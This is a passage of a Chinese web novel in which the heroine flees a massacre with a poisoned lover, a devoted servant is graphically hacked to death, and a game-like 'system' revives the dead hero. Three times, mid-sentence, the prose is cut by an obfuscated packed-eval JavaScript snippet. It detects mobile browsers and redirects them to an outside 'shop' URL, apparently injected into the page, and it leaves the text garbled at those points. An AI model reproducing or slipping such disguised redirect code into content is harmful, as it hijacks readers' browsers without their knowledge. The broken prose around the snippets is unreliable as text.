今日是小年,府里的下人都得了赏钱。 因着邬镇庭谋反,而邬涟又凭一己之力保下了整个侯府,如今侯府众人皆闭口不提“侯爷”,已俨然将邬涟看作家主。 就连以往总爱作妖的张姨娘与邬雯也老实了,整个冬天都缩在自己院子里不出来,害怕一个不慎惹得邬涟厌烦。 阿蔷在房里煮了羊肉汤锅,这还是跟着叶冬知学的,天冷要吃些热的才暖和。 吃到一半,满贵兴冲冲跑来禀报,满脸喜色,“小姐!大公子回来啦!” 叶冬知握筷的手顿了一下,才佯装平静道,“知道了。” 用完膳食,又下起了零星的小雪,她撑着伞要出去。 阿蔷“咦”了声,“小姐,你不会是要去寻大公子吧?看来小姐果然担心大公子。” “你少贫嘴。”她瞪了一眼阿蔷,才说,“我哪是担心他,我是担心自己,看看他有事没,他若是出事,我们便要跟着倒霉了。” 小姐总是嘴硬,阿蔷笑了声,接过她手中的伞,“是是是,小姐思虑最周全,奴婢陪您去吧,雪天路滑。” 雪落在地面上,纤尘不染。脚踏上去时,会有轻微的踩雪声,回荡在空旷的院子里。 天寒,屋内只开了一扇窗子,邬涟坐在窗户旁,正听着对面一男子说话,窗前的花瓶里插着两支结香。 一段日子没见,他好像清瘦了些,脸上的神情如雪一般,不知听到什么,他眉头微微皱起来,手握住茶杯,手指无意识地敲打着茶杯边缘。 叶冬知停在玉笙居院门外,踩雪的声音也自然停了。这细微的动静也没逃过他的耳朵,他侧目看来,与她的视线在半空中相撞。 几息后,他眉眼轻轻弯了弯。很清浅的笑意,却又令人安心。 她眼睫颤了颤,低声骂了句,“笑什么,男狐狸。” * 睡到半夜,叶冬知被一阵嘈杂的声音吵醒。 她撑起身来,正想问问阿蔷发生了什么,就见阿蔷猛地掀开她的床幔,惊慌道,“小姐!不好啦!大公子突然毒发了,吐了好多血!” 大脑瞬间一阵嗡鸣,她几乎要听不清阿蔷的声音。 反应过来后,她跌跌撞撞下床,心慌得快要跳出胸膛。 她穿上鞋,只穿着一身中衣便闷头闯进了还在下雪的夜里。 和得知殷水玉受伤不同,那时,她心中只有愧疚和愤怒,她愧疚她没能护住他,愤怒竟有人伤害殷水玉这般纯净美好的人。 但此刻,她脑子里什么也思考不了,只有无穷无尽的心慌,以及控制不住的恐惧。 她出了自己的院子,才发现侯府早已乱作一团。 尖叫声、呼喊声乱作一团,穿着黑衣的蒙面人在府中肆意屠杀。 血洒落在雪地上,猩红得刺目。 她怔愣了一瞬,浑身发凉,随即很快躲进一处树丛。 借着雪的掩盖,她身上的中衣恰好能融入其中,不会叫人轻易发现。 直到那几个蒙面人杀光了这附近的婢女和侍从走后,她才敢从树丛后面出来。 就这躲藏的片刻功夫,已让她手脚冰凉,极度的恐惧让她头脑发蒙。 但她忽而想到,这群黑衣人明显是有备而来,而此时邬涟却恰好中了毒,一切都太巧合,让她不得不往最坏的地方想。 若是此刻他被黑衣人寻到,想必是必死无疑。 一想到这件事会发生,她便觉得心头沉得厉害,随之而来的悲痛让她恍惚了刹那。 不行,她得去寻他,至少,不要死在今夜。 好在那群黑衣人不怎么熟悉侯府,是以她一路挑着隐蔽的小路走,没有被人发现。 等她在一处转角观察外面的情况之时,一只手忽然捂住了她的嘴,用力将她朝后拖去。 叶冬知顿时惊恐地睁大了眼,双手疯狂拍打捂住她嘴的手,却听得身后传来一声微弱的声音: “别动。” 熟悉的嗓音,像是在忍痛。 见她安静下来,那只手松开,她回头,见到了虚弱不堪的邬涟。 他唇发紫,微微敞开的衣领处,依稀可见蔓延的紫色斑纹,如同蛛网一般,附着在他白皙的肌肤之上。 她的手颤抖起来,想去触碰那处,面前的人忽然吃痛地闷哼一声,紧接着呕出一大口黑血,砸落在地上,吓了她狠狠一跳。 “你还好吗!?你不会死的吧?!”她猛然惊叫一声,声音带着连她自己都没发觉的颤抖和哽咽。 他将一根手指竖起,放在唇上,示意她噤声。 将她往里带了带,他深呼吸了几下,勉强控制着颤抖的喘.息,“无事,这毒还不至于立刻让人毒发身亡。” 见她脸色苍白,他又补充道,“只是看起来吓人罢了。” 听他这样说,她才勉强放下心来。 两人躲在角落里,看见外面的黑衣人正在府中搜寻,想必是在找邬涟的身影。 她的心怦怦直跳,紧张地盯着外面一动不动。 邬涟垂眸看见她只穿了一件中衣,将她往怀中揽了揽,扯了扯身上的披风,连带着她一起裹住。 可即便如此,叶冬知也并感受到多少暖意,她背后贴着的胸膛,远远不如往日里暖和。 但此刻她不愿再想下去了,为了打断脑中的胡思乱想,她低声问,“到底怎么了?” 他的唇贴在她耳边,她几乎能闻到血腥味,随后听得他道,“义父回来了。” 她眉心猛地一跳,“他不是谋反失败,到处逃窜吗?他还敢回京都?” 邬涟不语,她心中有了些不好猜测,但还是继续开口: “他回来干什么?” 身后人沉默几息,吐出那两个字的时候似乎有些自嘲和痛心。 “杀我。” 她扭头,震惊地回望他,“他疯了吗,杀了你,整个侯府都会随之倾塌。” “他不会在乎的。” “从他收养我那天起,就在为今天做准备。他在我身上下了毒,这毒一旦与结香结合便会毒发,今日我房中的人,是他派来的。” 他语气冷然,说起这些话时似乎说的不是自己,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537546|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他话间偶有的停顿,昭示他的内心并不如语气平静。 叶冬知静静听着,她的心随着他的话渐渐沉下去,然后泛起她说不清道不明的情绪。 她总觉得,她是不想看他这样明明难过还要满不在乎的样子的。 “他为什么要杀你?” 这是她最想问的,就算是随便养个什么东西,二十年也该有感情了,更何况邬涟自小勤勉聪慧,从未叫他操心或失望。 他敛眸,鸦羽似的睫毛覆上了一层薄雪,嗓音沉而哑,还有几丝若有似无的哽咽: “义父素有暗疾,多年前派人去南疆寻了巫蛊之人,寻一特殊体质的小儿养大后,取其浑身精血沐浴,即可治愈他的暗疾,不光如此,还有活死人肉白骨之效。” “如今他身负重伤,又断了一臂,这小儿,也该派上用场了。” 随着他的话缓缓沉没,一个叶冬知不愿意相信的猜测涌上心头。 她喉间滚动,张口时热气被冷意冻结,化成一团白雾,“所以......那个小儿,是你?” “那今日你毒发......” 后面的话她没再说下去,但事实已然很明显。 邬镇庭从始至终对邬涟几乎可以说是没有什么感情,收养他也仅仅是为了之后方便自己续命,今日邬涟毒发,是邬镇庭知道邬涟如今武力高强又素有权势,以防他逃走而故意设计为之。 这也能解释,为何在邬涟年幼时,作为义父的邬镇庭从没有给过他任何一点关爱,只有无尽的训斥。 这份算计,持续了整整二十年。 小小的邬涟幼时一直不明白,为何自己那般刻苦,事事都做到最好,也不能换来义父的一点夸奖。想来想去,大概也只是觉得自己还不够好,所以越发努力,这些年来,从不敢懈怠一时半刻。 身后的人沉默久久不语,静得仿若一尊雕塑,要不是能感受到他的体温,叶冬知几乎要以为他已经毒发身亡了。 耳边的呼吸压抑而急促,环抱着她身躯的手也不由得收紧。 她心有所感,回头看去。 目光触及的人,墨发散落在他雪白的狐裘之上,脸色惨白,眼中布满血丝和若隐若现的泪意,哀伤、悲怆到近乎破碎。 她没有见过邬涟这般神色,那样无助,又那样强装倔强。 与她担忧的目光相撞,他垂头摸了摸她的发顶,安慰她,“我无事,不必忧心。” 她骤然回过身,紧紧抱住了他,然后伸出手,碰了碰他的眼睛。 他眼睫颤了颤,迷惘地看着她,听得她在他胸前低低道: “不值得为他伤心,他不配,你还有长安,还有......” “我”字她没有说出口,觉得有些矫情,但她承认,因为他的存在,她回去的念头确实在此刻被狠狠动摇了。 邬涟意外地默了瞬。 他没想过她会安抚他,在与她相识的那些日子里,她挑逗他,训斥他,讥讽他,他好像不曾在她眼里看到过半分心疼。 可此刻,她应当是在心疼他。 不重要了,毒其实远远比他说的更严重,他不确定自己是否还能活到天明,所以,就算她骗他,他也甘之如饴,感激涕零。 胸口的剧痛再次传来,他绷紧全身,生生将那口淤血咽了回去,缓了会,才状若无事地将自己身上的狐裘脱下,系到她身上。 他低声说,“先逃出去吧,想必他顺着血迹会很快寻到我,若是待会我走不了,你便自己逃,我留了几个暗卫,应当能助你逃脱。” 话音刚落,一阵脚步声在附近响起。 邬涟登时警惕起来,伸手将她护至身后,他屏息凝神,注意着来人的一举一动。 那道脚步声走至离他们只差一个拐角的距离,忽而停住了。 “还不出来吗?涟儿。” 65. 第 65 章 这道声音叶冬知忘不了。 邬涟自然也听出来了,他闭了闭眼,示意她稍安勿躁,将她藏得严严实实后,自己走了出去。 “邬将军。” 他开了口,语气冷然。 雪中的男人意味不明地笑了笑,叹了口气,似乎很是失落,“涟儿,现在就连义父也不肯唤我一声了吗?” 高壮而威势过人的男子扫过邬涟颓败的脸色与踉跄的身躯,右脸那道疤痕在夜色中越发鬼魅。 虽然邬涟的情况确实不太好,但同样,邬镇庭也好不到哪里去。 他穿着常服,一侧的袖子鼓胀,隐约能看出结实的肌肉,但另一边的袖子,却空空荡荡。身前应当也是受了伤,今夜此番行动,已让他的衣襟透出血来。 听到邬镇庭的话,邬涟薄唇紧闭,似是不愿再多说一个字。 邬镇庭倒是不恼,反而又笑了声,伸出那只完好的手,朝着邬涟的头顶的摸去。 这样慈爱的动作,是幼年的邬涟日夜渴望的,但此刻,只能让他感觉到无比的恶心与厌恶,他偏开头,邬镇庭的手便落了空。 “诶,还是和小时候一样倔啊,想必你幼时曾埋怨过我,未曾尽到做父亲的责任。但为父却不认为自己做错了,你看,若非我当初对你严加管教,你哪有今日的荣光,如何能做到这般高的官职呢?” “为父将你从难民堆中救下,又抚养你长大,说起来,这份恩情你如何都偿还不清,今日只是要你一身精血,你便如此推脱,当真是让为父心寒呐。” “住嘴!”邬涟眉间青筋跳动,对他这番无耻的话已然是忍无可忍,“你不配为人父。” 将将说完最后一个字,他便脸色大变,又呕出了一口污血,这血的颜色比之前更深,也意味着他的毒越来越深。 见此,邬镇庭幽幽笑起来,“涟儿,为父曾经如何和你说的,遇事要镇静,你看你,这一激动就吐血了。” “那毒出自苗疆,中毒者初时吐血,到后面浑身皮肉便会与骨头剥离,那滋味,可不好受啊。不如你就放弃抵抗,答应将一身精血交于我,我便替你解了这毒,你也好死得痛快些。” 事到如今,邬涟已别无选择,他如何不要紧,但他若真是死了,那她—— 他不敢想下去,邬镇庭觊觎她多年,若是落到其手上,后果可想而知,无论如何,都要让她逃出去。 邬涟凝神不语,拔剑朝面前人刺去。 刀剑相撞的声音响彻在寂静的院中,雪下得又大了些,偶尔伴着几声远处传来的惨叫,让人发怵。 邬镇庭手持一把弯刀,趁邬涟中毒恍惚之际,朝着他背后猛地砍来。 “当心背后!” 叶冬知本来静静看着邬涟与邬镇庭对峙,她明白邬涟将她藏在这里的用意,不愿叫她被发现,但此刻眼睁睁看着他要受伤,她来不及思考,还未反应过来,便已张口出声提醒。 接下来发生的事很轻易就能猜到。 邬涟躲开了攻击,但邬镇庭也发现了她的所在。 “原来涟儿藏了人在这。” 邬镇庭哼笑一声,脚向叶冬知的藏身之地走去。 她心跳极快,震得她头脑发晕,她不自觉后退,随后看见一只手扒在了拐角墙壁的边缘。 那张令她厌恶又恐惧的脸,出现在她面前,她听得他道:“夫人,又跟着涟儿胡闹。” 恶心、惊惧一齐涌上来,她本准备掉头就跑,但一想到邬涟,脚步忽而顿在了原地。 但面前的邬镇庭却猛然吃痛地叫了一声,身子趔趄了一下。 叶冬知随着他惊愕的视线转头看去,琉璃月华般的少年双手握着一把菜刀,眼神铿锵坚定,菜刀上,一串血珠顺着刀尖坠落在雪地中。 “贵女!您快走!” 殷水玉朝她焦急道。 自从安南王那件事之后,她便觉得殷水玉待她疏远了很多,平日再不愿主动亲近她,她曾一度发愁要如何完成最后的那点攻略进度。 所幸即便如此,但系统告诉她,属于殷水玉的攻略进度一点都没掉。 邬镇庭缓过神来,回头看见一个乳臭未干的小子居然敢偷袭自己,当即怒了,一脚向人踹去。 殷水玉忙抬手去挡,但他瘦弱,又才大病初愈,面对经历过无数场战役的邬镇庭,几乎毫无招架之力。那一脚狠狠踹中了他的心口,使得他的身体重重撞上了身后的树干。 树上的雪簌簌落下,砸在他身上,与此同时,他唇角浸出了血。 “哪来的毛头小子,碍事!”背后的伤应当不轻,邬镇庭“嘶”了一声,朝着叶冬知继续走去。 于他而言,只要抓住了她,不愁邬涟不肯乖乖就范。 这可比他与邬涟硬来要划算得多。 上次他回京之时,他便知道他这重礼守矩的义子必定对她有心思,若不然,以邬涟的性子,不喜欢的人怕是连他一片衣角也摸不到,怎么可能凭空传出这等谣言呢? 他伸手将要触碰到她的衣襟,身后的剑风朝他脸侧袭来,他猛然推开一步,堪堪避开,但那剑尖依然划伤了他的脸。 而他的好儿子在对面盯着他,眼神冷得如同结冰,“不许碰她!” 语罢,他的剑如冰刃般袭来,一招一式都带着霜雪的凛冽和杀意,此番,比方才的气势还要更迫人些。 二人继续缠斗,但没多久,邬涟便因毒的蔓延而导致手下招式越来越慢,很快不敌邬镇庭。 肩上被对方划了一道,邬涟眼前恍惚,耳中嗡鸣,视线所及的手腕处,居然传来阵阵烧灼一样的疼痛,腕间皮肤有了龟裂的苗头。 ......是毒发到中后期了。 他顷刻间接受了这个事实,愣神这片刻,又被邬镇庭寻到机会,这一次,是朝着他心脏刺来。 弯刀带起的劲风拂动了他面前的碎发,但也就是仅此而已,刀尖没能再向前分毫。 他垂眸,只见殷水玉唇边带血,死死抱住了邬镇庭的一只腿,害得他无法前进。 察觉到他的视线,少年朝他轻笑了下,第一次看他时眼神中没有警惕和戒备,反而尽是释然。 “大公子,我拖住他,你带贵女走罢。” 邬涟抿唇没有说话,听得他继续道,“我什么都没有,只有这一条命是贵女救下,但你不一样,你有权势,能调兵。” “更重要的是,”他说着,顿了顿,语气落寞,但很快落寞被他藏起来,只剩下了诚挚的乞求,“贵女心悦你,若你死了,她会很难过。” 邬涟绷着唇,“我中了毒,活不了多久——” “为了贵女,你不会让自己死的。” 殷水玉打断他,语气认真而笃定。 他都知道,纵然大公子不善于表达,但他对贵女的喜爱,不比他少一分。 邬镇庭沉着脸看着两人说这些牙酸的话,不耐烦地试图挣脱脚下的束缚,但殷水玉用尽了全身力气,抱得太紧,在他的用力下,竟然纹丝不动。 邬涟刹那间已做好决定,他快速牵起叶冬知的手,想朝另一个方向跑去。 但叶冬知却站在原地没有动,她喃喃,“那阿玉怎么办,他会被杀的。” 几乎不费吹灰之力就可以预见到他的结局,并且,若他死了,她作为攻略者,也会被就地抹杀。 看出她的顾虑,殷水玉弯起眼眸,像他平日对她一样,声音依旧温柔眷恋,“贵女不必担心我,这些日子,是我此生最好的日子,我已经没有什么遗憾了。您走罢,我想您好好活下去。” 她迟迟未动,邬涟无法,只得将她拦腰抱起。 而邬镇庭见两人要走,再也没有半点耐心,当即狠狠一刀砍在殷水玉的身上。 那一刀深可见骨,衣衫尽裂,殷水玉闷哼一声,血混着雪染湿他背后的衣衫,但没有松懈半分,邬镇庭依旧不能挪动脚步。 “阿玉!”叶冬知惊叫一声,眼前登时模糊一片,心口的愧疚与悲痛让她几乎说不出多余的字来。 她想,其实攻略也没有那么重要,回家也不必急于一时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546951|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她将他捡了回来,救了她的命,此刻,又因她,要了他的命。 他待她赤诚一片,视她为神明救赎,至今都不敢僭越半步,口口声声唤她“贵女”,将她放在了最珍视的位置上。到此刻,他都不知道其实她接近他,都是别有用心。 邬镇庭眼见邬涟二人已经要跑走,若是就此被他们逃掉,那他筹划多年便会毁于一旦。 他决不能让他们离开! 这个念头落下时,他越发急切地摆脱脚下的束缚,手中弯刀毫不留情,一刀一刀砍在殷水玉单薄的脊背之上。 这小子比他想的骨头硬太多,只是如此,他仍不松手,邬镇庭沉沉呼出口气,挥刀生生斩断了少年一只手。 钻心的疼传来,殷水玉闭眼将唇咬得鲜血淋漓,他害怕面前的人就此挣脱,张嘴狠狠咬住了邬镇庭的腿。 “啊!”邬镇庭呼痛,脸色被愤怒与疼痛涨得通红,他双眼赤红,几乎像疯了一样挥刀朝少年砍去。 血肉混着骨头的碎裂声,响彻在夜里。 殷水玉趴在地上,衣衫之下已变成一堆烂肉,血水潺潺流下,将雪地染成一片红,那片红越来越大,但邬镇庭依旧没有停手。 血水流了满脸,血浆糊住了他的眼睛,他的头被邬镇庭踩在脚下,陷入雪地之中。 叶冬知被邬涟抱着在屋顶上穿梭,她眼睁睁看着那片红越来越大,越来越刺目,隔着重重距离,她似乎仍能看到那双她见过的,在这世间最为纯澈和特别的眼睛,正欣慰、不舍地看着她。 “阿玉!啊!”她目眦欲裂,已无法思考,滚烫的泪水大颗大颗落下,悲痛使得她快要喘不过气来。 邬涟回眸遥遥看了一眼,然后伸手覆住了她的眼睛。 殷水玉只感觉到那把刀还在自己身上继续发泄着极致的愤怒,好痛,好痛,痛到他难以承受,痛到他开始思绪涣散。 他使劲睁着眼睛,隔着血水和脏乱的头发,他隐约能看见贵女的身影越来越小,最后变成一个黑点。 逃掉了吗,那就好。 贵女,贵女。 不要怪他,也不要怨他。 他曾痛恨自己无能,为此连累了她,他那时候好想自己能再有本事一些,没有大公子那样厉害也没关系,只要足够保护她就好。 对了,他还没来及告诉贵女,他又攒了一笔钱,这次,可以给她买更大的东珠耳坠,剩下的钱,还可以给她买一支镯子。 贵女永远值得这世上最好的。 他记得那日贵女带他和阿蔷出去闲逛,在街上,两侧街道挂着灯笼,暖黄的光照亮贵女明媚的面庞,她笑着问他,“阿玉!你有什么喜欢吃的吗,我买给你。” 那时他说没有,但现在他有了。 他喜欢糖葫芦,那串她买给他的,每一口滋味他都记得清清楚楚。 意识越来越模糊,“噗嗤”一声,尖刀贯穿了他的脑袋,但却没有感觉到很疼,大概,他应当是要死了。 这次,不会有人来救他了。 他挣扎着动了动,袖口里的簪子掉了出来,上面的海棠花艳丽逼真,比叶冬知给他时,更精细,看得出,这支簪子日常定有被人精心打理。 他将簪子握在手心,眼皮再也睁不开,浑身力气也如流水一般消逝。 邬镇庭啐了口,一脚踢去,脚下那少年,不,已经无法称之为人,应当是一团烂肉被他嫌弃至极地踹开,再不能动弹半分。 “呸,真硬的骨头,本侯杀敌这些年都没见过这么硬的。” 摆脱了这个麻烦,邬镇庭快步朝着邬涟两人逃跑的方向追去。 雪如鹅毛,落在殷水玉辨不出模样的脸上,那样冰凉,但他已无法感受分毫。 其实他骗了贵女,他并非没有任何遗憾。 但这个遗憾即便他活着也注定不能说出口。 他想亲口对贵女说,他很喜爱她,不是恩人与被救者之间的,也不是主子与奴仆之间的,而是男子与女子之间的。 可惜,他永远没机会了。 66. 第 66 章 【攻略目标好感度加载中......】 【攻略目标好感度已满。】 【恭喜宿主!攻略成功!】 【任务完成,宿主获得穿梭时空的机会*1,获得神秘惊喜大礼*1,已放入背包,可随时使用。】 被系统略显激动的机械音惊醒时,叶冬知睁眼感觉到一阵颠簸。 入目仍是一片白,大雪将地面盖得严严实实。脸上略微有些紧绷感,那是泪水落在脸上被寒风吹干后造成的。 她回了回神,发现自己被邬涟背在背上,他的墨发已经覆了一层薄薄的霜雪。 察觉到她的细微动作,邬涟沉声,“醒了?方才你惊痛过度,晕厥了。不太舒服的话再睡会。” “不了。”她开口,扫了眼周遭,荒凉开阔,高大的灌木组成成片的树林,借着月光才能隐约看清一点景象。 显然,这已经不是都城内。 “我们在哪里?” “京都三十里外。”他背着她,深一脚浅一脚地踩在蓬松的雪地之中,簌簌的踩雪声在这片无人的林中显得格外清晰。 能逃这么远,想必她应当是昏迷过去许久了。 她忽而想到邬涟此前中了毒,如今背着她一刻不停地行了这么远,想必毒素早已蔓延。 思及此,她慌忙道,“你放我下来,我能走,你的毒是不是越来越严重了!?” 他垂眸,视线落到自己已经发紫的手背上,那股灼热的疼痛充斥着四肢,他几乎能听到那轻微的龟裂声。 不动声色将手背藏在她膝弯之下,他才轻声开口,语气同平日没有分别。 “我尚可,不必担忧,当务之急是得快些寻到一处藏身之地,我已燃了烟,皇城司很快便会将邬镇庭一干人等——围剿。” 说着,他顿了一下,但很快被他掩饰过去,但他背上的人离他这么近,怎可能发现不了。 她挣扎着要下地,因为心疼和焦急,连带着语气也重了些,“你还说没事,你又在强撑是吗?放我下来,我能走!” 拗不过她,邬涟将她放下地,他不敢耽搁,正要开口催促她赶紧抬步,却突闻她惊叫一声: “你的脸怎么了!?” 叶冬知抬眸的刹那,险些被他的脸吓了一跳。 原本风光霁月的脸上,此刻那紫红色的蛛网斑纹已经蔓延到了他的下半张脸,看起来诡异可怖。 邬涟闻言,眼睫颤了颤,偏头错开她的视线,“别看,很丑。” 若他没猜错的话,他的脸,应当已经毁了。 他向来是不怎么在意自己的容貌的,但他从旁人的眼神和口中得知,他的脸生得很好,他也时常庆幸,幸而有这张脸,才能让她多看几分。 可眼下...... 害怕从她眼中看到嫌弃和厌恶,他开始转移话题,“身后应当有追兵,不能停下来。” 叶冬知闭了嘴,没继续说下去。 两人在雪地里狂奔,耳边唯有风的呼啸声与“咯吱”的踩雪声。 一道破空声陡然传来,叶冬知回头去看,只见一颗黑点从她身后极速飞来,然后越来越近。等她看清楚,反应过来时,才知道那是一支锋利的箭矢。 “当心。”身侧人低喝一声,将她护至身后,单手接住了这支箭矢。箭矢擦破他的掌心,留下紫黑色的血迹。 “你的毒!” 邬涟抬手将箭矢握住的刹那,叶冬知也看见了他发紫的手掌,这短短的时间之内,他的毒,已浸入骨髓,蔓延到了指尖。 她还没来得及再说,就见数道破空声猛然响起,她仰头一看,只见幽幽的清冷月色下,满天的箭矢随着坠落的雪,朝他们袭来。 邬涟“咻”地拔剑,护着她一边后退,一边不停挽出剑花,以此来打落这些无穷无尽的箭。剑刃与箭尖相触,擦出道道火星。 但他中了毒受了伤,又背着她连行几十里,再是铁打的人也扛不住。 一支箭“噗嗤”一声,猛然穿透他的左胸,他挥剑的动作一僵,整个人脚步一个趔趄踩空,向身后的山崖坠去。 叶冬知脸色血色顷刻褪尽,瞳孔骤缩,连呼吸都在这刹那停滞了。 大脑来不及思考,一切都只凭本能,她猛然扑上去,死死抓住他的手,却被他的重量带着一起往山崖下急速坠落。 失重感瞬间攫住四肢,五脏六腑都往上悬,胃里翻涌发空,浑身发麻、手脚发软。 风灌满衣袍,耳边只剩呼啸烈风,世界眨眼颠倒。 脑中短暂地空白过后,是后知后觉涌上来的极致恐惧。但比恐惧先来的,是他骤然收紧的双臂,将她牢牢护在怀里,用躯体为她挡开树枝和突起的岩石。 他的呼吸与她一样急促而慌乱,风声中,她几乎听不清他的声音,只听见他断断续续道: “别怕......” “......我在。” 耳边下坠的风声骤然死寂,整具躯体狠狠砸在地面的一刻,胸腔猛地向内坍缩。 叶冬知眼前发黑,然而预料中的刺骨剧痛却轻了大半。 下一瞬,她忽然察觉不对劲。 身下不是硬冷乱石,而是温热、沉实、带着颤抖的人。 她整个人完完整整压在他身上,所有下坠的冲击力,全都被他硬生生扛了下来。 他背脊撞在碎石断木上,闷哼压抑在喉间,连痛呼都不肯溢出半分,四肢僵硬,气息微弱得几乎快要断掉。 她颤抖着手去摸他的后背,只摸到一大片温热的濡湿。 密密麻麻的酸涩与溃堤般的恐慌铺天盖地地席卷而来,她浑身发冷,难以置信地开口,带着压制不住的泣音。 “你疯了吗......你会死的......” 眼泪砸落在他身上,她从没有这样慌张过,慌张到她什么也做不了,心口仿佛被硬生生扯开了一个大洞,痛得几近窒息。 “不会死的,对不对,你不会死的......” 她不住地喃喃,却发现他骨头尽裂,散开的衣领之下,胸膛已经全部变成紫黑色,血肉与白骨已有了分崩离析的趋势。 她尽量避开他的伤口,用尽力气将他拖到平地。 邬涟勉强抬起眼皮,手扯了扯她的袖子,声音破碎虚弱,“别管......我......他们还会追......” 那素来冷清疏离的眼眸,褪去了所有的自持和克制,看着她时,蒙上一层浅淡的倦意与眷恋。 “闭嘴!”她哭着吼了一句,用了深呼吸强迫自己平静下来,她扫视了一圈周围,看见不远处有了山洞,外面杂草丛生,可用来做遮掩。 明白她的意思,他闭眼断断续续用气音道,“不要......白费力气了,我马上就要死......” 叶冬知没理会他,小心翼翼将他一步步挪到山洞之中。 她为他拭去脸上脏污的血水,那张惊为天人的脸,此刻已经全被紫色斑纹覆盖,任谁看了都要后怕地说一句怪物。 脸上的动作颤抖而温柔,邬涟见她泪水糊了满脸,伸手想要将她的泪水拭去,但一抬手发现他的手比他的脸更可怖。 紫黑色的血肉剥落,露出森森白骨,他厌颓地将手放回去,只轻声叹道:“没想到,你竟还会为我哭。” “都什么时候,还说这些。”她哽咽着,检查他伤了多少处。 但等她全部检查完,才发现他身上几乎没有一块好肉,这样刺骨、惨烈的痛,他从头至尾没有叫痛一声。 他静静凝视着她,她即便狼狈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550036|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但依旧动人清丽,不像他已经变得人不人鬼不鬼。 脸上的血肉也逐渐开始剥离,痛与烧灼感一并折磨着他,可他已无暇顾及,满心都是在将死的关头,他在她眼中最后一眼,居然会是这幅丑陋骇人的模样。 “咳......咳咳......”骨头的尖刺扎进他的肺中,使得他呼吸不畅,他盯着她苍白的侧脸,极为认真道: “我死了后,你便去寻裴砚吧,他虽年轻了些,但家世和人品都还可靠,能护得住你。” 他其实不想把她推给谁,但他死了的话,她孤身一人,只会被觊觎她美貌的人啃得骨头都不剩,让她去寻裴砚,起码还能得到一份庇护。 “闭嘴啊!要死了还不清净!”他说完,她哭得更厉害,心口像被蚂蚁啃噬,让她痛得不能自已。 他极为勉强地朝她笑了笑,污血自他唇间涌出,他本就是强弩之末,眼下只感觉在这冰天雪地中浑身发热,意识恍惚。 邬涟知道,这是死前的征兆,他大概,真的撑不住了。 外面雪还在下,黎明依旧没有到来,这天地之间,只有他二人。 似乎是也察觉到他快不行了,她俯下身,虚虚将他搂在怀里,眼泪浸透在他的发间和耳侧。 他眼皮越来越沉,思绪也逐渐涣散,听得她低低道: “我对不住你,我之前一直都在骗你,我不是真正的叶冬知,我来自另一个世界,只有你喜欢上我,我才能回到原来的世界,所以,我才那样对你。” “但是你太守规矩了,我无法做到让你真正喜欢上我,所以才转而选择了殷水玉。” “但我现在,是真的.......你。” “所以求求你,不要死......” “求求......求求你......” 后面的话他有些听不清了,他也无力再去思考她话里的意思,他张了张嘴,叶冬知将耳朵贴过去,才大致听清他说的话。 他说: 叶家有女。 我心悦之。 虽死无悔。 话音落下的刹那,他原本还微微抬起的手,登时垂落。 “不!” 叶冬知骤然发出一声神思俱裂的悲鸣,她颤抖着去探他的鼻息,却发现真的一点气息也感受不到。 她恍然坠入无边寒渊,所有的一切,都溃不成军。 【宿主,攻略已完成,是否现在开启时空通道?】 系统的声音突然响起,唤回了她一点溃散的理智。 她瘫坐在地,听得系统继续道: 【可开启神秘惊喜大礼*1,是否要现在打开?】 大礼? 她无意识喃喃一声,忽而有了微薄的希望,对了! 还有个惊喜大礼,兴许能够让人起死回生,或者时空倒流避开邬涟必死的结局。 她立刻颤抖声说,“打开,马上打开!” 【收到宿主指令,现正开启神秘惊喜大礼中......】 【叮!恭喜宿主,获得灵丹妙药*1,使用后,被使用之人可身体康健,精力充沛,百毒不侵。】 她顾不得其他,邬涟已经没了呼吸,就算是死马当活马医,她也要试试。 叶冬知屏住呼吸,在“灵丹妙药”一栏下面点击“使用”,将药丸拖到邬涟的正上方,随即松手。 松开的刹那,药丸闪过一道白光,然后消失不见。 但地上的人,迟迟没有反应。 她抱紧双臂,坐在地上,双眼死死看着面前的人。 一刻钟。 两刻钟。 仍旧没有一点反应,她眼中的光逐渐暗淡了下去。 什么灵丹妙药,到头来,也要在这种时候戏耍她一番。 67. 正文完 一道光洒进狭窄的山洞。 地上的人眼皮动了动,随之缓缓睁开了眼。 入目是刺眼的白,外面已经天光大亮。 邬涟怔愣了一瞬,才发现身体的异样全部消失,左胸那支箭没了,手掌也完好无损,那些紫色黑的蛛网斑纹也消失不见。 他很是不解,他身中致命的一箭,又被下了剧毒,甚至还摔下了山崖,如今怎么可能还活着。 目光向身旁转了转,温热滚烫的呼吸喷洒在他颈侧,有些痒。 他支起身子,侧目看向身旁蜷缩成一团的少女,脸色苍白,眼睛周围一圈红肿不堪。 